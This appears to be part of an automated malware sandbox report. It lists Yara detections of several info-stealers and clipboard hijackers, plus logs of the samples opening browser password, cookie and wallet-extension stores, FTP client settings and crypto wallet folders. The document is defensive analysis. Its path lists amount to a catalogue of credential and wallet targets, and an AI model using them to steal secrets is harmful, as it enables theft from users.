Source: Yara match	File source: 00000002.00000003.1756175985.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1796955424.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1794588718.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1750360381.0000000000411000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1705192242.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Clipboard Hijacker

Source: Yara match	File source: 0000000C.00000003.3933389019.0000000001726000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a7f098a093.exe PID: 6104, type: MEMORYSTR

Yara detected Credential Flusher

Source: Yara match	File source: 00000029.00000003.2996946073.000000000124F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2864753465.000000000150F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d986826e57.exe PID: 6612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d986826e57.exe PID: 4556, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000000C.00000003.3257614525.00000000012E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: a7f098a093.exe PID: 6104, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: r5mqFEC.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e5e907fecb.exe PID: 5012, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000002.3218633907.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2718635332.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3207489291.0000000000481000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2853261373.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3320048411.000000000117B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3310520507.0000000000481000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3996dc7402.exe PID: 8144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3996dc7402.exe PID: 4936, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: r5mqFEC.exe, 0000000A.00000003.2525316848.00000000032B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: llets/Electrum-LTCIChvB5
Source: e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: r5mqFEC.exe	String found in binary or memory: Jaxx Liberty
Source: e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: e5e907fecb.exe, 0000000F.00000003.2826165474.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/[
Source: r5mqFEC.exe, 0000000A.00000003.2562100051.00000000032A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: r5mqFEC.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: r5mqFEC.exe, 0000000A.00000003.2558891081.00000000032B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: e5e907fecb.exe, 0000000F.00000003.2826165474.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
